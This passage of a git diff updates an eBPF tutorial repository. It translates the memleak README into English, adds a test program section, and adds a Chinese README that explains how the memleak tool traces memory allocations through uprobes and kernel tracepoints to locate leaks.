finally calls the `gen_alloc_exit2` function to record the allocation result. -这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint,以便在相应的内核函数被调用时得到执行。在Linux内核中,tracepoint 是一种可以在内核中插入的静态钩子,可以用来收集运行时的内核信息,它在调试和性能分析中非常有用。 +Both of these BPF programs use the `SEC` macro to define the corresponding tracepoints, so that they can be executed when the corresponding kernel functions are called. In the Linux kernel, a tracepoint is a static hook that can be inserted into the kernel to collect runtime kernel information. It is very useful for debugging and performance analysis. -在理解这些代码的过程中,要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中,我们不能直接访问内核内存,而需要使用这样的宏来安全地读取数据。 +In the process of understanding this code, pay attention to the use of the `BPF_CORE_READ` macro. This macro is used to read kernel data in BPF programs. In BPF programs, we cannot directly access kernel memory and need to use such macros to safely read data. -### 用户态程序 +### User-Space Program -在理解 BPF 内核部分之后,我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合,它负责将BPF程序加载到内核,设置和管理BPF map,以及处理从BPF程序收集到的数据。用户态程序较长,我们这里可以简要参考一下它的挂载点。 +After understanding the BPF kernel part, let's switch to the user-space program. The user-space program works closely with the BPF kernel program. It is responsible for loading BPF programs into the kernel, setting up and managing BPF maps, and handling data collected from BPF programs. The user-space program is longer, but here we can briefly refer to its mount point. ```c int attach_uprobes(struct memleak_bpf *skel) { ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); - ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); - + ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); @@ -425,7 +385,7 @@ int attach_uprobes(struct memleak_bpf *skel) ATTACH_UPROBE_CHECKED(skel, free, free_enter); ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); - // the following probes are intentinally allowed to fail attachment + // the following probes are intentionally allowed to fail attachment // deprecated in libc.so bionic ATTACH_UPROBE(skel, valloc, valloc_enter); @@ -443,25 +403,29 @@ int attach_uprobes(struct memleak_bpf *skel) } ``` -在这段代码中,我们看到一个名为`attach_uprobes`的函数,该函数负责将uprobes(用户空间探测点)挂载到内存分配和释放函数上。在Linux中,uprobes是一种内核机制,可以在用户空间程序中的任意位置设置断点,这使得我们可以非常精确地观察和控制用户空间程序的行为。 +In this code snippet, we see a function called `attach_uprobes` that mounts uprobes (user space probes) onto memory allocation and deallocation functions. In Linux, uprobes are a kernel mechanism that allows setting breakpoints at arbitrary locations in user space programs, enabling precise observation and control over the behavior of user space programs. + +Here, each memory-related function is traced using two uprobes: one at the entry (enter) of the function and one at the exit. Thus, every time these functions are called or return, a uprobes event is triggered, which in turn triggers the corresponding BPF program. -这里,每个内存相关的函数都通过两个uprobes进行跟踪:一个在函数入口(enter),一个在函数退出(exit)。因此,每当这些函数被调用或返回时,都会触发一个uprobes事件,进而触发相应的BPF程序。 +In the actual implementation, we use two macros, `ATTACH_UPROBE` and `ATTACH_URETPROBE`, to attach uprobes and uretprobes (function return probes), respectively. Each macro takes three arguments: the skeleton of the BPF program (skel), the name of the function to monitor, and the name of the BPF program to trigger. -在具体的实现中,我们使用了`ATTACH_UPROBE`和`ATTACH_URETPROBE`两个宏来附加uprobes和uretprobes(函数返回探测点)。每个宏都需要三个参数:BPF程序的骨架(skel),要监视的函数名,以及要触发的BPF程序的名称。 +These mount points include common memory allocation functions such as malloc, calloc, realloc, mmap, posix_memalign, memalign, free, and their corresponding exit points. Additionally, we also observe some possible allocation functions such as valloc, pvalloc, aligned_alloc, although they may not always exist. -这些挂载点包括常见的内存分配函数,如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等,以及对应的退出点。另外,我们也观察一些可能的分配函数,如valloc、pvalloc、aligned_alloc等,尽管它们可能不总是存在。 +The goal of these mount points is to capture all possible memory allocation and deallocation events, allowing our memory leak detection tool to obtain as comprehensive data as possible. This approach enables us to track not only memory allocation and deallocation but also their contextual information such as call stacks and invocation counts, helping us to pinpoint and fix memory leak issues. -这些挂载点的目标是捕获所有可能的内存分配和释放事件,从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放,还能得到它们发生的上下文信息,例如调用栈和调用次数,从而帮助我们定位和修复内存泄露问题。 +Note that some memory allocation functions may not exist or may have been deprecated, such as valloc and pvalloc. Thus, their attachment may fail. In such cases, we allow for attachment failures, which do not prevent the program from executing. This is because we are more focused on mainstream and commonly used memory allocation functions, while these deprecated functions are often used less frequently in practical applications. -注意,一些内存分配函数可能并不存在或已弃用,比如valloc、pvalloc等,因此它们的附加可能会失败。在这种情况下,我们允许附加失败,并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数,而这些已经被弃用的函数往往在实际应用中较少使用。 +Complete source code: -完整的源代码: 关于如何安装依赖,请参考: +Reference: -## 编译运行 +## Compile and Run + +This implementation uses the latest **blazesym v0.2.0** library for symbol resolution, which provides improved performance and a modern C API through the `capi` package. ```console $ make -$ sudo ./memleak +$ sudo ./memleak using default object: libc.so.6 using page size: 4096 tracing kernel: true @@ -478,12 +442,39 @@ Tracing outstanding memory allocs... Hit Ctrl-C to end ... ``` -## 总结 +## Testing memleak + +This repository includes a test program (`test_memleak.c`) that intentionally leaks memory for testing purposes. You can build and run it to verify that memleak correctly detects memory leaks: + +```console +$ make test_memleak +$ ./test_memleak & +$ sudo ./memleak -p $(pidof test_memleak) +using default object: libc.so.6 +using page size: 4096 +tracing kernel: false +Tracing outstanding memory allocs... Hit Ctrl-C to end +[19:31:49] Top 1 stacks with outstanding allocations: +10240 bytes in 5 allocations from stack + 0 [<00005a7ea0a34212>] leak_with_loop+0x1f + 1 [<00005a7ea0a3428e>] main+0x6e + 2 [<00007b4ea482a1ca>] + 3 [<00007b4ea482a28b>] __libc_start_main+0x8b + 4 [<00005a7ea0a34105>] _start+0x25 +``` + +As shown above, memleak successfully: +- Detected **10240 bytes in 5 allocations** (5 × 2048 bytes) that were leaked +- Identified the leaking function **leak_with_loop+0x1f** with the correct offset +- Provided the complete call stack showing the leak originated from `main` function +- Used the new **blazesym v0.2.0** C API for fast and accurate symbol resolution + +The test demonstrates that memleak with the updated blazesym library can effectively trace memory allocations and pinpoint the exact functions responsible for memory leaks. -通过本篇 eBPF 入门实践教程,您已经学习了如何编写 Memleak eBPF 监控程序,以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用,学会了使用 BPF API 编写 eBPF 程序,创建和使用 eBPF maps,并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子,帮助您理解 eBPF 代码的运行流程和原理。 +## Summary -您可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +Through this eBPF introductory tutorial, you have learned how to write a Memleak eBPF monitoring program to monitor memory leaks in real time. You have also learned about the application of eBPF in memory monitoring, how to write eBPF programs using the BPF API, create and use eBPF maps, and how to use eBPF tools to monitor and analyze memory leak issues. We have provided a detailed example to help you understand the execution flow and principles of eBPF code. -接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF,以解决实际工作中遇到的问题。 +You can visit our tutorial code repository at or website for more examples and complete tutorials. -参考资料: +> The original link of this article: diff --git a/src/16-memleak/README.zh.md b/src/16-memleak/README.zh.md new file mode 100644 index 00000000..6d781435 --- /dev/null +++ b/src/16-memleak/README.zh.md @@ -0,0 +1,520 @@ +# eBPF 入门实践教程十六:编写 eBPF 程序 Memleak 监控内存泄漏 + +eBPF(扩展的伯克利数据包过滤器)是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。 + +在本篇教程中,我们将探讨如何使用 eBPF 编写 Memleak 程序,以监控程序的内存泄漏。 + +## 背景及其重要性 + +内存泄漏是计算机编程中的一种常见问题,其严重程度不应被低估。内存泄漏发生时,程序会逐渐消耗更多的内存资源,但并未正确释放。随着时间的推移,这种行为会导致系统内存逐渐耗尽,从而显著降低程序及系统的整体性能。 + +内存泄漏有多种可能的原因。这可能是由于配置错误导致的,例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的,如在程序执行过程中忘记释放不再需要的内存。此外,如果一个应用程序的内存使用量过大,那么系统性能可能会因页面交换(swapping)而大幅下降,甚至可能导致应用程序被系统强制终止(Linux 的 OOM killer)。 + +### 调试内存泄漏的挑战 + +调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况,通常需要应用专门的工具来帮助诊断。例如,有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来,如 Valgrind memcheck,这类工具可以模拟 CPU 来检查所有内存访问,但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器,如 libtcmalloc,它相对较快,但仍可能使应用程序运行速度降低五倍以上。此外,还有一些工具,如 gdb,可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而,这些工具通常在获取核心转储时需要暂停应用程序,或在应用程序终止后才能调用 free() 函数。 + +## eBPF 的作用 + +在这种背景下,eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件,包括内存的分配和释放。通过 eBPF,我们可以跟踪内存分配和释放的请求,并收集每次分配的调用堆栈。然后,我们可以分 + +析这些信息,找出执行了内存分配但未执行释放操作的调用堆栈,这有助于我们找出导致内存泄漏的源头。这种方式的优点在于,它可以实时地在运行的应用程序中进行,而无需暂停应用程序或进行复杂的前后处理。 + +`memleak` eBPF 工具可以跟踪并匹配内存分配和释放的请求,并收集每次分配的调用堆栈。随后,`memleak` 可以打印一个总结,表明哪些调用堆栈执行了分配,但是并没有随后进行释放。例如,我们运行命令: + +```console +# ./memleak -p $(pidof allocs) +Attaching to pid 5193, Ctrl+C to quit. +[11:16:33] Top 2 stacks with outstanding allocations: + 80 bytes in 5 allocations from stack + main+0x6d [allocs] + __libc_start_main+0xf0 [libc-2.21.so] + +[11:16:34] Top 2 stacks with outstanding allocations: + 160 bytes in 10 allocations from stack + main+0x6d [allocs] + __libc_start_main+0xf0 [libc-2.21.so] +``` + +运行这个命令后,我们可以看到分配但未释放的内存来自于哪些堆栈,并且可以看到这些未释放的内存的大小和数量。 + +随着时间的推移,很显然,`allocs` 进程的 `main` 函数正在泄漏内存,每次泄漏 16 字节。幸运的是,我们不需要检查每个分配,我们得到了一个很好的总结,告诉我们哪个堆栈负责大量的泄漏。 + +## memleak 的实现原理 + +在基本层面上,`memleak` 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着,当这些函数被调用时,`memleak` 就会记录一些重要信息,如调用者的进程 ID(PID)、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时,`memleak` 则会在其内部的映射表(map)中删除相应的内存分配记录。这种机制使得 `memleak` 能够准确地追踪到哪些内存块已被分配但未被释放。 + +对于用户态的常用内存分配函数,如 `malloc` 和 `calloc` 等,`memleak` 利用了用户态探测(uprobe)技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术,它可以在运行时不修改二进制文件的情况下在任意位置设置断点,从而实现对特定函数调用的追踪。Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。 + +对于内核态的内存分配函数,如 `kmalloc` 等,`memleak` 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术,它可以在内核运行时动态地追踪特定的事件,而无需重新编译内核或加载内核模块。 + +## 内核态 eBPF 程序实现 + +## `memleak` 内核态 eBPF 程序实现 + +`memleak` 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前,让我们首先观察 `memleak` 所定义的一些数据结构,这些结构在其内核态和用户态程序中均有使用。 + +```c +#ifndef __MEMLEAK_H +#define __MEMLEAK_H + +#define ALLOCS_MAX_ENTRIES 1000000 +#define COMBINED_ALLOCS_MAX_ENTRIES 10240 + +struct alloc_info { + __u64 size; // 分配的内存大小 + __u64 timestamp_ns; // 分配时的时间戳,单位为纳秒 + int stack_id; // 分配时的调用堆栈ID +}; + +union combined_alloc_info { + struct { + __u64 total_size : 40; // 所有未释放分配的总大小 + __u64 number_of_allocs : 24; // 所有未释放分配的总次数 + }; + __u64 bits; // 结构的位图表示 +}; + +#endif /* __MEMLEAK_H */ +``` + +这里定义了两个主要的数据结构:`alloc_info` 和 `combined_alloc_info`。 + +`alloc_info` 结构体包含了一个内存分配的基本信息,包括分配的内存大小 `size`、分配发生时的时间戳 `timestamp_ns`,以及触发分配的调用堆栈 ID `stack_id`。 + +`combined_alloc_info` 是一个联合体(union),它包含一个嵌入的结构体和一个 `__u64` 类型的位图表示 `bits`。嵌入的结构体有两个成员:`total_size` 和 `number_of_allocs`,分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数,用来限制其大小。通过这样的位数限制,可以节省combined_alloc_info结构的存储空间。同时,由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits,因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs,从而避免了在程序中定义额外的变量和函数的复杂性。 + +接下来,`memleak` 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射(maps)。这些映射都以 `SEC(".maps")` 的形式定义,表示它们属于 eBPF 程序的映射部分。 + +```c +const volatile size_t min_size = 0; +const volatile size_t max_size = -1; +const volatile size_t page_size = 4096; +const volatile __u64 sample_rate = 1; +const volatile bool trace_all = false; +const volatile __u64 stack_flags = 0; +const volatile bool wa_missing_free = false; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, pid_t); + __type(value, u64); + __uint(max_entries, 10240); +} sizes SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u64); /* address */ + __type(value, struct alloc_info); + __uint(max_entries, ALLOCS_MAX_ENTRIES); +} allocs SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u64); /* stack id */ + __type(value, union combined_alloc_info); + __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES); +} combined_allocs SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u64); + __type(value, u64); + __uint(max_entries, 10240); +} memptrs SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_STACK_TRACE); + __type(key, u32); +} stack_traces SEC(".maps"); + +static union combined_alloc_info initial_cinfo; +``` + +这段代码首先定义了一些可配置的参数,如 `min_size`, `max_size`, `page_size`, `sample_rate`, `trace_all`, `stack_flags` 和 `wa_missing_free`,分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放(missing free)模式。 + +接着定义了五个映射: + +1. `sizes`:这是一个哈希类型的映射,键为进程 ID,值为 `u64` 类型,存储每个进程的分配大小。 +2. `allocs`:这也是一个哈希类型的映射,键为分配的地址,值为 `alloc_info` 结构体,存储每个内存分配的详细信息。 +3. `combined_allocs`:这是另一个哈希类型的映射,键为堆栈 ID,值为 `combined_alloc_info` 联合体,存储所有未释放分配的总大小和总次数。 +4. `memptrs`:这也是一个哈希类型的映射,键和值都为 `u64` 类型,用于在用户空间和内核空间之间传递内存指针。 +5. `stack_traces`:这是一个堆栈追踪类型的映射,键为 `u32` 类型,用于存储堆栈 ID。 + +以用户态的内存分配追踪部分为例,主要是挂钩内存相关的函数调用,如 `malloc`, `free`, `calloc`, `realloc`, `mmap` 和 `munmap`,以便在调用这些函数时进行数据记录。在用户态,`memleak` 主要使用了 uprobes 技术进行挂载。 + +每个函数调用被分为 "enter" 和 "exit" 两部分。"enter" 部分记录的是函数调用的参数,如分配的大小或者释放的地址。"exit" 部分则主要用于获取函数的返回值,如分配得到的内存地址。 + +这里,`gen_alloc_enter`, `gen_alloc_exit`, `gen_free_enter` 是实现记录行为的函数,他们分别用于记录分配开始、分配结束和释放开始的相关信息。 + +函数原型示例如下: + +```c +SEC("uprobe") +int BPF_KPROBE(malloc_enter, size_t size) +{ + // 记录分配开始的相关信息 + return gen_alloc_enter(size); +} + +SEC("uretprobe") +int BPF_KRETPROBE(malloc_exit) +{ + // 记录分配结束的相关信息 + return gen_alloc_exit(ctx); +} + +SEC("uprobe") +int BPF_KPROBE(free_enter, void *address) +{ + // 记录释放开始的相关信息 + return gen_free_enter(address); +} +``` + +其中,`malloc_enter` 和 `free_enter` 是分别挂载在 `malloc` 和 `free` 函数入口处的探针(probes),用于在函数调用时进行数据记录。而 `malloc_exit` 则是挂载在 `malloc` 函数的返回处的探针,用于记录函数的返回值。 + +这些函数使用了 `BPF_KPROBE` 和 `BPF_KRETPROBE` 这两个宏来声明,这两个宏分别用于声明 kprobe(内核探针)和 kretprobe(内核返回探针)。具体来说,kprobe 用于在函数调用时触发,而 kretprobe 则是在函数返回时触发。 + +`gen_alloc_enter` 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。 + +```c +static int gen_alloc_enter(size_t size) +{ + if (size < min_size || size > max_size) + return 0; + + if (sample_rate > 1) { + if (bpf_ktime_get_ns() % sample_rate != 0) + return 0; + } + + const pid_t pid = bpf_get_current_pid_tgid() >> 32; + bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY); + + if (trace_all) + bpf_printk("alloc entered, size = %lu\n", size); + + return 0; +} + +SEC("uprobe") +int BPF_KPROBE(malloc_enter, size_t size) +{ + return gen_alloc_enter(size); +} +``` + +首先,`gen_alloc_enter` 函数接收一个 `size` 参数,这个参数表示请求分配的内存的大小。如果这个值不在 `min_size` 和 `max_size` 之间,函数将直接返回,不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求,过滤掉不感兴趣的分配请求。 + +接下来,函数检查采样率 `sample_rate`。如果 `sample_rate` 大于1,意味着我们不需要追踪所有的内存分配请求,而是周期性地追踪。这里使用 `bpf_ktime_get_ns` 获取当前的时间戳,然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术,用于降低性能开销,同时还能够提供一个代表性的样本用于分析。 + +之后,函数使用 `bpf_get_current_pid_tgid` 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID,我们通过右移 32 位来获取真正的进程 ID。 + +函数接下来更新 `sizes` 这个 map,这个 map 以进程 ID 为键,以请求的内存分配大小为值。`BPF_ANY` 表示如果 key 已存在,那么更新 value,否则就新建一个条目。 + +最后,如果启用了 `trace_all` 标志,函数将打印一条信息,说明发生了内存分配。 + +`BPF_KPROBE` 宏用于 + +最后定义了 `BPF_KPROBE(malloc_enter, size_t size)`,它会在 `malloc` 函数被调用时被 BPF uprobe 拦截执行,并通过 `gen_alloc_enter` 来记录内存分配大小。 +我们刚刚分析了内存分配的入口函数 `gen_alloc_enter`,现在我们来关注这个过程的退出部分。具体来说,我们将讨论 `gen_alloc_exit2` 函数以及如何从内存分配调用中获取返回的内存地址。 + +```c +static int gen_alloc_exit2(void *ctx, u64 address) +{ + const pid_t pid = bpf_get_current_pid_tgid() >> 32; + struct alloc_info info; + + const u64* size = bpf_map_lookup_elem(&sizes, &pid); + if (!size) + return 0; // missed alloc entry + + __builtin_memset(&info, 0, sizeof(info)); + + info.size = *size; + bpf_map_delete_elem(&sizes, &pid); + + if (address != 0) { + info.timestamp_ns = bpf_ktime_get_ns(); + + info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags); + + bpf_map_update_elem(&allocs, &address, &info, BPF_ANY); + + update_statistics_add(info.stack_id, info.size); + } + + if (trace_all) { + bpf_printk("alloc exited, size = %lu, result = %lx\n", + info.size, address); + } + + return 0; +} +static int gen_alloc_exit(struct pt_regs *ctx) +{ + return gen_alloc_exit2(ctx, PT_REGS_RC(ctx)); +} + +SEC("uretprobe") +int BPF_KRETPROBE(malloc_exit) +{ + return gen_alloc_exit(ctx); +} +``` + +`gen_alloc_exit2` 函数在内存分配操作完成时被调用,这个函数接收两个参数,一个是上下文 `ctx`,另一个是内存分配函数返回的内存地址 `address`。 + +首先,它获取当前线程的 PID,然后使用这个 PID 作为键在 `sizes` 这个 map 中查找对应的内存分配大小。如果没有找到(也就是说,没有对应的内存分配操作的入口),函数就会直接返回。 + +接着,函数清除 `info` 结构体的内容,并设置它的 `size` 字段为之前在 map 中找到的内存分配大小。并从 `sizes` 这个 map 中删除相应的元素,因为此时内存分配操作已经完成,不再需要这个信息。 + +接下来,如果 `address` 不为 0(也就是说,内存分配操作成功了),函数就会进一步收集一些额外的信息。首先,它获取当前的时间戳作为内存分配完成的时间,并获取当前的堆栈跟踪。这些信息都会被储存在 `info` 结构体中,并随后更新到 `allocs` 这个 map 中。 + +最后,函数调用 `update_statistics_add` 更新统计数据,如果启用了所有内存分配操作的跟踪,函数还会打印一些关于内存分配操作的信息。 + +请注意,`gen_alloc_exit` 函数是 `gen_alloc_exit2` 的一个包装,它将 `PT_REGS_RC(ctx)` 作为 `address` 参数传递给 `gen_alloc_exit2`。 +在我们的讨论中,我们刚刚提到在 `gen_alloc_exit2` 函数中,调用了 `update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。 + +```c +static void update_statistics_add(u64 stack_id, u64 sz) +{ + union combined_alloc_info *existing_cinfo; + + existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo); + if (!existing_cinfo) + return; + + const union combined_alloc_info incremental_cinfo = { + .total_size = sz, + .number_of_allocs = 1 + }; + + __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits); +} +``` + +`update_statistics_add` 函数接收两个参数:当前的堆栈 ID `stack_id` 以及内存分配的大小 `sz`。这两个参数都在内存分配事件中收集到,并且用于更新内存分配的统计数据。 + +首先,函数尝试在 `combined_allocs` 这个 map 中查找键值为当前堆栈 ID 的元素,如果找不到,就用 `initial_cinfo`(这是一个默认的 combined_alloc_info 结构体,所有字段都为零)来初始化新的元素。 + +接着,函数创建一个 `incremental_cinfo`,并设置它的 `total_size` 为当前内存分配的大小,设置 `number_of_allocs` 为 1。这是因为每次调用 `update_statistics_add` 函数都表示有一个新的内存分配事件发生,而这个事件的内存分配大小就是 `sz`。 + +最后,函数使用 `__sync_fetch_and_add` 函数原子地将 `incremental_cinfo` 的值加到 `existing_cinfo` 中。请注意这个步骤是线程安全的,即使有多个线程并发地调用 `update_statistics_add` 函数,每个内存分配事件也能正确地记录到统计数据中。 + +总的来说,`update_statistics_add` 函数实现了内存分配统计的更新逻辑,通过维护每个堆栈 ID 的内存分配总量和次数,我们可以深入了解到程序的内存分配行为。 +在我们对内存分配的统计跟踪过程中,我们不仅要统计内存的分配,还要考虑内存的释放。在上述代码中,我们定义了一个名为 `update_statistics_del` 的函数,其作用是在内存释放时更新统计信息。而 `gen_free_enter` 函数则是在进程调用 `free` 函数时被执行。 + +```c +static void update_statistics_del(u64 stack_id, u64 sz) +{ + union combined_alloc_info *existing_cinfo; + + existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id); + if (!existing_cinfo) { + bpf_printk("failed to lookup combined allocs\n"); + return; + } + + const union combined_alloc_info decremental_cinfo = { + .total_size = sz, + .number_of_allocs = 1 + }; + + __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits); +} +``` + +`update_statistics_del` 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 `combined_allocs` 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 `combined_alloc_info` 结构体。如果找不到,就输出错误信息,然后函数返回。如果找到了,就会构造一个名为 `decremental_cinfo` 的 `combined_alloc_info` 结构体,设置它的 `total_size` 为要释放的内存大小,设置 `number_of_allocs` 为 1。然后使用 `__sync_fetch_and_sub` 函数原子地从 `existing_cinfo` 中减去 `decremental_cinfo` 的值。请注意,这里的 `number_of_allocs` 是负数,表示减少了一个内存分配。 + +```c +static int gen_free_enter(const void *address) +{ + const u64 addr = (u64)address; + + const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr); + if (!info) + return 0; + + bpf_map_delete_elem(&allocs, &addr); + update_statistics_del(info->stack_id, info->size); + + if (trace_all) { + bpf_printk("free entered, address = %lx, size = %lu\n", + address, info->size); + } + + return 0; +} + +SEC("uprobe") +int BPF_KPROBE(free_enter, void *address) +{ + return gen_free_enter(address); +} +``` + +接下来看 `gen_free_enter` 函数。它接收一个地址作为参数,这个地址是内存分配的结果,也就是将要释放的内存的起始地址。函数首先在 `allocs` 这个 map 中使用这个地址作为键来查找对应的 `alloc_info` 结构体。如果找不到,那么就直接返回,因为这意味着这个地址并没有被分配过。如果找到了,那么就删除这个元素,并且调用 `update_statistics_del` 函数来更新统计数据。最后,如果启用了全局追踪,那么还会输出一条信息,包括这个地址以及它的大小。 +在我们追踪和统计内存分配的同时,我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中,kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。 + +```c +SEC("tracepoint/kmem/kfree") +int memleak__kfree(void *ctx) +{ + const void *ptr; + + if (has_kfree()) { + struct trace_event_raw_kfree___x *args = ctx; + ptr = BPF_CORE_READ(args, ptr); + } else { + struct trace_event_raw_kmem_free___x *args = ctx; + ptr = BPF_CORE_READ(args, ptr); + } + + return gen_free_enter(ptr); +} +``` + +上述代码片段定义了一个函数memleak__kfree,这是一个bpf程序,会在内核调用kfree函数时执行。首先,该函数检查是否存在kfree函数。如果存在,则会读取传递给kfree函数的参数(即要释放的内存块的地址),并保存到变量ptr中;否则,会读取传递给kmem_free函数的参数(即要释放的内存块的地址),并保存到变量ptr中。接着,该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。 + +```c +SEC("tracepoint/kmem/kmem_cache_alloc") +int memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx) +{ + if (wa_missing_free) + gen_free_enter(ctx->ptr); + + gen_alloc_enter(ctx->bytes_alloc); + + return gen_alloc_exit2(ctx, (u64)(ctx->ptr)); +} +``` + +这段代码定义了一个函数 memleak__kmem_cache_alloc,这也是一个bpf程序,会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置,则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后,该函数会调用 gen_alloc_enter 函数来处理内存分配,最后调用gen_alloc_exit2函数记录分配的结果。 + +这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint,以便在相应的内核函数被调用时得到执行。在Linux内核中,tracepoint 是一种可以在内核中插入的静态钩子,可以用来收集运行时的内核信息,它在调试和性能分析中非常有用。 + +在理解这些代码的过程中,要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中,我们不能直接访问内核内存,而需要使用这样的宏来安全地读取数据。 + +### 用户态程序 + +在理解 BPF 内核部分之后,我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合,它负责将BPF程序加载到内核,设置和管理BPF map,以及处理从BPF程序收集到的数据。用户态程序较长,我们这里可以简要参考一下它的挂载点。 + +```c +int attach_uprobes(struct memleak_bpf *skel) +{ + ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); + ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); + + ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); + ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); + + ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); + ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); + + ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); + ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); + + ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); + ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); + + ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); + ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); + + ATTACH_UPROBE_CHECKED(skel, free, free_enter); + ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); + + // the following probes are intentinally allowed to fail attachment + + // deprecated in libc.so bionic + ATTACH_UPROBE(skel, valloc, valloc_enter); + ATTACH_URETPROBE(skel, valloc, valloc_exit); + + // deprecated in libc.so bionic + ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); + ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); + + // added in C11 + ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); + ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); + + return 0; +} +``` + +在这段代码中,我们看到一个名为`attach_uprobes`的函数,该函数负责将uprobes(用户空间探测点)挂载到内存分配和释放函数上。在Linux中,uprobes是一种内核机制,可以在用户空间程序中的任意位置设置断点,这使得我们可以非常精确地观察和控制用户空间程序的行为。 + +这里,每个内存相关的函数都通过两个uprobes进行跟踪:一个在函数入口(enter),一个在函数退出(exit)。因此,每当这些函数被调用或返回时,都会触发一个uprobes事件,进而触发相应的BPF程序。 + 